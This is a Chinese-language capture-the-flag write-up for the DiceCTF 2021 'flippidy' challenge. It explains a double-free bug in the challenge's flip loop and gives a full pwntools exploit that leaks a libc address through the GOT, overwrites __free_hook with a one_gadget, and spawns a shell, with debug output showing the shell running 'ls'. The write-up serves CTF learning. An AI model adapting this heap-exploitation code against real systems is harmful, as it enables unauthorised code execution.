dicectf2021_flippidy

一道简单的double free

dicectf2021_flippidy

分析

在flip时,如果书本页数是奇数数(例如7页),会依次调转0,6;1,5;2,4;3,3在调转3,3的时候就会造成double free。如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; i <= dword_404150 / 2; ++i )
{
memset(s, 0, sizeof(s));
memset(dest, 0, 0x40uLL);
v3 = 0;
v4 = 0;
if ( *((_QWORD *)qword_404158 + i) )
{
strcpy(s, *((const char **)qword_404158 + i));
free(*((void **)qword_404158 + i));
}
else
{
v3 = 1;
}
if ( *((_QWORD *)qword_404158 + dword_404150 - i - 1) )
{
strcpy(dest, *((const char **)qword_404158 + dword_404150 - i - 1));
free(*((void **)qword_404158 + dword_404150 - i - 1));
}

这里比较麻烦的一点就是double free之后还会对内存内容进行一些copy,会让堆结构变得很混乱。我也是经过调试最后解出来的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
io = process('./flippidy')
context.log_level='debug'
elf=ELF('./flippidy')
libc = ELF('./libc.so.6')
context.terminal = ['tmux','split','-hp','60']




def add(index,content):
io.recvuntil(':')
io.sendline(str(1))
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Content: ',content)

def flip():
io.recvuntil(':')
io.sendline(str(2))

def debug_add():
gdb.attach(io,"b *0x4012D0")
add(0,'aa')

def debug_menu():
gdb.attach(io,"b *0x401729")


io.recvuntil('will be:')
io.sendline(str(1)) # size is 1, cause double free


add(0,p64(0x404020))
flip()# double free
add(0,p64(elf.got['puts'])*4+p64(0x404158))


puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base: " + hex(libc_base))


add(0,p64(0x0))
add(0,p64(libc.symbols['__free_hook'] + libc_base))
add(0,p64(0))
add(0,p64(libc.symbols['__free_hook'] + libc_base))
og = [0x4f322,0x10a38c,0x4f2c5]
add(0,p64(og[0]+libc_base))
flip()

io.interactive()

success

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[DEBUG] Received 0x20 bytes:
00000000 0a 0a c0 89 eb 38 6a 7f 0a c0 89 eb 38 6a 7f 0a │····│·8j·│····│8j··│
00000010 c0 89 eb 38 6a 7f 0a c0 89 eb 38 6a 7f 0a 3a 20 │···8│j···│··8j│··: │
00000020
[DEBUG] Sent 0x2 bytes:
b'2\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x1e bytes:
b'flippidy libc.so.6 solve.py\n'
flippidy libc.so.6 solve.py
$

文章目录
  1. 1. dicectf2021_flippidy
    1. 1.1. 分析
    2. 1.2. exp
    3. 1.3. success
|